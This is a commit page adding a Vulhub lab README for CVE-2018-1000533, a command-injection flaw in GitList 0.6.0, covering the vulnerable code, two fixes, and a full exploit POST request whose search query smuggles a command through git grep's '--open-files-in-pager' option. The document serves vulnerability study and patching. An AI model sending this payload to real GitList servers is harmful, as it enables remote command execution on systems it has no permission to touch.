first commit
Some checks failed
Vulhub Format Check and Lint / format-check (push) Has been cancelled
Vulhub Format Check and Lint / markdown-check (push) Has been cancelled
Vulhub Docker Image CI / longtime-images-test (push) Has been cancelled
Vulhub Docker Image CI / images-test (push) Has been cancelled
Some checks failed
Vulhub Format Check and Lint / format-check (push) Has been cancelled
Vulhub Format Check and Lint / markdown-check (push) Has been cancelled
Vulhub Docker Image CI / longtime-images-test (push) Has been cancelled
Vulhub Docker Image CI / images-test (push) Has been cancelled
This commit is contained in:
116
gitlist/CVE-2018-1000533/README.md
Normal file
116
gitlist/CVE-2018-1000533/README.md
Normal file
@@ -0,0 +1,116 @@
|
||||
# GitList 0.6.0 Remote Command Execution (CVE-2018-1000533)
|
||||
|
||||
[中文版本(Chinese version)](README.zh-cn.md)
|
||||
|
||||
GitList is an elegant and modern git repository viewer.
|
||||
|
||||
GitList version <= 0.6 contains a passing incorrectly sanitized input to system function vulnerability in `searchTree` function that can result in executing arbitrary commands as PHP user. This attack appear to be exploitable via POST request using search form.
|
||||
|
||||
References:
|
||||
|
||||
- <https://github.com/klaussilveira/gitlist/commit/87b8c26b023c3fc37f0796b14bb13710f397b322>
|
||||
- <https://www.exploit-db.com/exploits/44548>
|
||||
- <https://www.leavesongs.com/PENETRATION/escapeshellarg-and-parameter-injection.html>
|
||||
|
||||
## Vulnerable environment
|
||||
|
||||
Execute following command to start a GitList server 0.6.0:
|
||||
|
||||
```
|
||||
docker compose up -d
|
||||
```
|
||||
|
||||
After the server is started, browse the `http://your-ip:8080` and you will see a repository named `example`.
|
||||
|
||||
## Vulnerability Principle
|
||||
|
||||
GitList uses `git grep` while searching code in repository:
|
||||
|
||||
```php
|
||||
public function searchTree($query, $branch)
|
||||
{
|
||||
if (empty($query)) {
|
||||
return null;
|
||||
}
|
||||
|
||||
$query = escapeshellarg($query);
|
||||
|
||||
try {
|
||||
$results = $this->getClient()->run($this, "grep -i --line-number {$query} $branch");
|
||||
} catch (\RuntimeException $e) {
|
||||
return false;
|
||||
}
|
||||
```
|
||||
|
||||
`$query` is the search keyword, `$branch` is the target branch.
|
||||
|
||||
`id` will be executed if attacker passed `--open-files-in-pager=id;` as the `$query`'s value:
|
||||
|
||||

|
||||
|
||||
There are two reasons for this vulnerability:
|
||||
|
||||
1. Misunderstanding of the `escapeshellarg` function, resulting in arguments injection
|
||||
2. The value of the `--open-files-in-pager` argument of `git grep`, which will be directly executed
|
||||
|
||||
Theoretically, after `$query = escapeshellarg($query);`, `$query` will become a string wrapped in single quotes. The premise of the bug is that the string should appear in the “parameter value” position, not in the parameter option.
|
||||
|
||||
To fix this issue, we can put the `$query` option behind `-e`:
|
||||
|
||||
```
|
||||
git grep -i --line-number -e '--open-files-in-pager=id;' master
|
||||
```
|
||||
|
||||

|
||||
|
||||
This is the suggestion from Git official:
|
||||
|
||||
> -e
|
||||
> The next parameter is the pattern. This option has to be used for patterns starting with - and should be used in scripts passing user input to grep. Multiple patterns are combined by
|
||||
> or.
|
||||
|
||||
GitList used another fix:
|
||||
|
||||
```php
|
||||
public function searchTree($query, $branch)
|
||||
{
|
||||
if (empty($query)) {
|
||||
return null;
|
||||
}
|
||||
$query = preg_replace('/(--?[A-Za-z0-9\-]+)/', '', $query);
|
||||
$query = escapeshellarg($query);
|
||||
try {
|
||||
$results = $this->getClient()->run($this, "grep -i --line-number -- {$query} $branch");
|
||||
} catch (\RuntimeException $e) {
|
||||
return false;
|
||||
}
|
||||
```
|
||||
|
||||
Firstly, remove illegal `-` prefix from `$query`, then put it behind `--`. The double-dash (`--`) will be accepted as a delimiter indicating the end of options in command line.
|
||||
|
||||
> A -- signals the end of options and disables further option processing. Any arguments after the -- are treated as filenames and arguments. An argument of - is equivalent to --.
|
||||
>
|
||||
> If arguments remain after option processing, and neither the -c nor the -s option has been supplied, the first argument is assumed to be the name of a file containing shell commands. If bash is invoked in this fashion, $0 is set to the name of the file, and the positional parameters are set to the remaining arguments. Bash reads and executes commands from this file, then exits. Bash's exit status is the exit status of the last command executed in the script. If no commands are executed, the exit status is 0. An attempt is first made to open the file in the current directory, and, if no file is found, then the shell searches the directories in PATH for the script.
|
||||
|
||||
So this this patch is acceptable, except that the `preg_replace` in the first step affects the normal search function.
|
||||
|
||||
## Exploit
|
||||
|
||||
Send following request:
|
||||
|
||||
```
|
||||
POST /example/tree/a/search HTTP/1.1
|
||||
Host: your-ip:8080
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.186 Safari/537.36
|
||||
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
|
||||
Content-Length: 56
|
||||
|
||||
query=--open-files-in-pager=touch /tmp/success;
|
||||
```
|
||||
|
||||
Noted that there are two arguments in URL: `/[repo_name]/tree/[keyword]/search`. `[repo_name]` must be a existing repository in the GitList, `[keyword]` is a search keyword that produces at least one result.
|
||||
|
||||
After the request is sent, use `docker compose exec web bash` to enter the container and you can see that `/tmp/success` has been successfully created:
|
||||
|
||||

|
Reference in New Issue
Block a user